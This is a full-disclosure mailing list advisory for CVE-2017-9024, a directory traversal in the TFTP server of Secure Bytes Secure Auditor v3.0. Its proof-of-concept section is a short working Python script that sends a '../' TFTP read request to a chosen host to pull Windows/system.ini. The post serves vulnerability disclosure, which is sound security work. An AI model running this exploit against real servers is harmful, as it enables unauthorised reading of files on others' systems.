full-disclosure - [FD] CVE-2017-9024 Secure Auditor

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Message-ID: <CAFD2FDNfNgMD+XTvg4RzKkMvCyEd5wre_+ykjFz5z+FQWWpqsw@mail.gmail.com>
Date: Sat, 20 May 2017 00:14:30 -0400
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CVE-2017-9024 Secure Auditor - v3.0 Directory Traversal

[+] Credits: John Page aka HYP3RLINX
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/SECURE-AUDITOR-v3.0-DIRECTORY-TRAVERSAL.txt
[+] ISR: ApparitionSec

Vendor:
====================
www.secure-bytes.com

Product:
=====================
Secure Auditor - v3.0

Vulnerability Type:
===================
Directory Traversal

CVE Reference:
==============
CVE-2017-9024

Security Issue:
================
Secure Bytes Cisco Configuration Manager, as bundled in Secure Bytes Secure
Cisco Auditor (SCA) 3.0, has a
Directory Traversal issue in its TFTP Server, allowing attackers to read
arbitrary files via ../ sequences in a pathname.

Exploit/POC:
=============
import sys,socket

print 'Secure Auditor v3.0 / Cisco Config Manager'
print 'TFTP Directory Traversal Exploit'
print 'Read ../../../../Windows/system.ini POC'
print 'hyp3rlinx'

HOST = raw_input("[IP]> ")
FILE = '../../../../Windows/system.ini'
PORT = 69

PAYLOAD = "\x00\x01"                #TFTP Read
PAYLOAD += FILE+"\x00"              #Read system.ini using directory
traversal
PAYLOAD += "netascii\x00"           #TFTP Type

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()

print "Victim Data located on : %s " %(HOST)
print out.strip()

Network Access:
===============
Remote

Severity:
=========
High

Disclosure Timeline:
==================================
Vendor Notification: May 10, 2017
No replies
May 20, 2017 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

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